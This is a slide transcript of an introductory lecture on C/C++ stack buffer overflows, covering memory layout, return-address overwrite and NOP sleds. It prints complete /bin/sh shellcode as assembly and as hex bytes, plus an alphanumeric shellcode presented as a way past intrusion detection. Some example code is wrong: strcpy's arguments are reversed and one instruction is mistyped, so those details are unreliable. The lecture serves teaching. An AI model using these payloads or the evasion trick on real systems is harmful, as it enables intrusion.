Analyzing C/C++ Vulnerabilities -- Mike Gerschefske.

Slides:



Advertisements
Similar presentations
Smashing the Stack for Fun and Profit
Advertisements

Exploring Security Vulnerabilities by Exploiting Buffer Overflow using the MIPS ISA Andrew T. Phillips Jack S. E. Tan Department of Computer Science University.
CSc 352 Programming Hygiene Saumya Debray Dept. of Computer Science The University of Arizona, Tucson
Foundations of Network and Computer Security J J ohn Black Lecture #30 Nov 26 th 2007 CSCI 6268/TLEN 5831, Fall 2007.
Foundations of Network and Computer Security J J ohn Black Lecture #29 Nov 12 th 2007 CSCI 6268/TLEN 5831, Fall 2007.
Buffer Overflow. Process Memory Organization.
© 2003 School of Computing, University of Leeds SY32 Secure Computing, Lecture 13 Implementation Flaws Part 1: Buffer Overruns.
Foundations of Network and Computer Security J J ohn Black Lecture #17 Oct 26 th 2004 CSCI 6268/TLEN 5831, Fall 2004.
Foundations of Network and Computer Security J J ohn Black Lecture #18 Oct 28 th 2004 CSCI 6268/TLEN 5831, Fall 2004.
Foundations of Network and Computer Security J J ohn Black Lecture #19 Nov 3 rd 2005 CSCI 6268/TLEN 5831, Fall 2005.
Foundations of Network and Computer Security J J ohn Black Lecture #28 Nov 9 th 2009 CSCI 6268/TLEN 5550, Fall 2009.
Foundations of Network and Computer Security J J ohn Black Lecture #30 Nov 13 th 2009 CSCI 6268/TLEN 5550, Fall 2009.
Netprog: Buffer Overflow1 Buffer Overflow Exploits Taken shamelessly from: netprog/overflow.ppt.
September 22, 2014 Pengju (Jimmy) Jin Section E
Security Exploiting Overflows. Introduction r See the following link for more info: operating-systems-and-applications-in-
Buffer overflows.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2011.
Assembly, Stacks, and Registers Kevin C. Su 9/26/2011.
Fall 2008CS 334: Computer SecuritySlide #1 Smashing The Stack A detailed look at buffer overflows as described in Smashing the Stack for Fun and Profit.
Lecture 6: Buffer Overflow CS 436/636/736 Spring 2014 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)
Exploiting Buffer Overflows on AIX/PowerPC HP-UX/PA-RISC Solaris/SPARC.
CrackChat #2 Stack Overflows and Format Strings Part 2: Baking the Egg
Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer.
Mitigation of Buffer Overflow Attacks
1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }
Buffer Overflow CS461/ECE422 Spring Reading Material Based on Chapter 11 of the text.
Introduction to InfoSec – Recitation 2 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Smashing the Stack Overview The Stack Region Buffer Overflow
CNIT 127: Exploit Development Ch 3: Shellcode. Topics Protection rings Syscalls Shellcode nasm Assembler ld GNU Linker objdump to see contents of object.
Buffer Overflow. Introduction On many C implementations, it is possible to corrupt the execution stack by writing past the end of an array. Known as smash.
Overflows & Exploits. In the beginning 11/02/1988 Robert Morris, Jr., a graduate student in Computer Science at Cornell, wrote an experimental, self-replicating,
Lecture 8: Buffer Overflow CS 436/636/736 Spring 2013 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)
Buffer Overflow Proofing of Code Binaries By Ramya Reguramalingam Graduate Student, Computer Science Advisor: Dr. Gopal Gupta.
Stack-based buffer overflows Yves Younan DistriNet, Department of Computer Science Katholieke Universiteit Leuven Belgium
Worm and P2P Tools for Distribution and Management of ATLAS SW on TDAQ Computer Clusters H.Garitaonandia, IFAE, Barcelona,
1 Understanding Pointers Buffer Overflow. 2 Outline Understanding Pointers Buffer Overflow Suggested reading –Chap 3.10, 3.12.
International Summer School on Information and System Security Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro.
Software Vulnerabilities and Exploits
November 2008Buffer Overflow1 King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008 Prof. Reuven Aviv.
Slides by Kent Seamons and Tim van der Horst Last Updated: Nov 11, 2011.
CSC 382: Buffer OverflowsSlide #1 Topics 1.What is a Buffer Overflow? 2.The Most Common Implementation Flaw. 3.Process Memory Layout. 4.The Stack and C’s.
Buffer Overflow Attacks 1 Basic Idea Sample Attacks Protection , Computer & Network Security.
ROP Exploit. ROP Return Oriented Programming (ROP): is a hacking exploit technique where you exploit buffer overflow to inject a chain of gadgets. Each.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2014.
Variables Bryce Boe 2012/09/05 CS32, Summer 2012 B.
Shellcode COSC 480 Presentation Alison Buben.
Buffer Overflows ...or How I Learned to Never Trust the User
Mitigation against Buffer Overflow Attacks
Buffer Overflow Buffer overflows are possible because C doesn’t check array boundaries Buffer overflows are dangerous because buffers for user input are.
Buffer Overflow Walk-Through
CS 177 Computer Security Lecture 9
Introduction to Information Security
The Hardware/Software Interface CSE351 Winter 2013
CSC 495/583 Topics of Software Security Stack Overflows (2)
CMSC 414 Computer and Network Security Lecture 21
CS 465 Buffer Overflow Slides by Kent Seamons and Tim van der Horst
Understanding Program Address Space
Lecture 9: Buffer Overflow*
Smashing the Stack for Fun and Profit
Machine Level Representation of Programs (IV)
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2015.
Week 2: Buffer Overflow Part 2.
Foundations of Network and Computer Security
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2016.
Understanding and Preventing Buffer Overflow Attacks in Unix
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2013.
Several Tips on Project 1
Format String Vulnerability
Return-to-libc Attacks
Presentation transcript:

Analyzing C/C++ Vulnerabilities -- Mike Gerschefske

C/C++  Compiled into assembly  Have to understand the assembly level to understand problems and short falls with C  CS316 teaches us  C does not do range index checking

Memory  Analysis of the memory at the virtual level  Not what happens in actual hardware  Code segment read only  Data Segment  Initialized variables  BSS  Uninitialized variables  Heap  New/malloc variables Text (Code) Segment Data Segment Bss Segment Heap Stack x0000 xffff

Advanced C/C++  Example Application Public foo(char * parm) {  (callee of foo) char buffer[10]; strcpy(parm, buffer); } Public go() {  (caller of foo) foo(“hello world ”); … }  C allocates local variables from the stack, not the heap  Strcpy doesn’t check and copies too much to the buffer  This is a stack overflow, there are also heap overflows but they work a little differently buffer Stack pointer Return address * Param Rest of Stack (Bottom) 10 bytes 4 bytes Caller Callee

Advanced C/C++  So what happens?  Usually just a segment fault  Why segment fault  Computer grabs RA and picks up execution there  RA is potentially (usually) in no mans land  What this means  We can control where the code picks up execution if our buffer overflow creates a meaningful RA buffer Stack pointer Return address * Param Rest of Stack (Bottom) 10 bytes 4 bytes Public foo(char * parm) { char buffer[10]; strcpy(parm, buffer); } Public go() { foo(“hello world”); … }

Hypothetical Buffer  14 bytes  Anything  4 bytes RA  Point the RA to the code we want to run buffer Stack pointer Return address * Param Rest of Stack (Bottom) 10 bytes 4 bytes

Two problems  What code should we run?  Where is our code?  How do we get the RA correct? -- The RA has a huge address space, it could be anything???

Code to Run  Write custom ASM to do a specific task  Not feasible, ASM can be difficult to write and inject  Also, not reusable  Better solution – It’s called Shell Code  Goal: to execute a system call to open a shell  execve /bin/sh

Writing Shell Code  Code it in C and disassemble  Strings terminate with a \0  Must eliminate all nulls or shellcode wont copy to buffer #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes.string \"/bin/sh\" # 8 bytes "); } char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; Problem instruction: Substitute with: movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax

Code Execution  Where to store it?  Can sometimes put it in an environmental variable  Most of the time, try to stuff it in the buffer  If we setup an env var we can use a debugger to determine RA buffer Stack pointer Return address * Param Rest of Stack (Bottom) Env Variables Shell Code

Code Execution – Stuffing the Buffer  We have an idea where the buffer address is, but not sure exactly  Different code paths build different stacks  NOP Sled  Continual execution of No- Operations  Computer slides down into our shell code  If we hit anywhere in the nop sled, we win  Increased chance of getting close buffer Shell Code Nop Sled \x90

RA Problems  Getting the RA in the right variable  Repeat it, who cares if the stack is all messed up?  Alignment Issues – RA is 4 bytes  Typically guess, wont get offset wrong more then three times Return address Buffer … RA

Success  Successfully Guessed/Calculated RA  Successfully Aligned RA  Successfully Injected Code

Problems  As can tell, very difficult to do  Sending “/bin/sh” across any connection will be flagged – people look for this (IDS)

Cool Shell Code  ASCII Shell Code: "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0T“ "odjdY0LohfhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Do" "w0towjhXfRhnKshhBabivERSvT29";  Any field validated input (text box) that allows [a-z][0-9] would allow this shell code  No /bin/sh so tricks IDS  IDS do have above example; however, could modify enough so IDS couldn’t detect

References  Smashing the stack for Fun and Profit  Hacking – The Art of Exploitation – Jon Erickson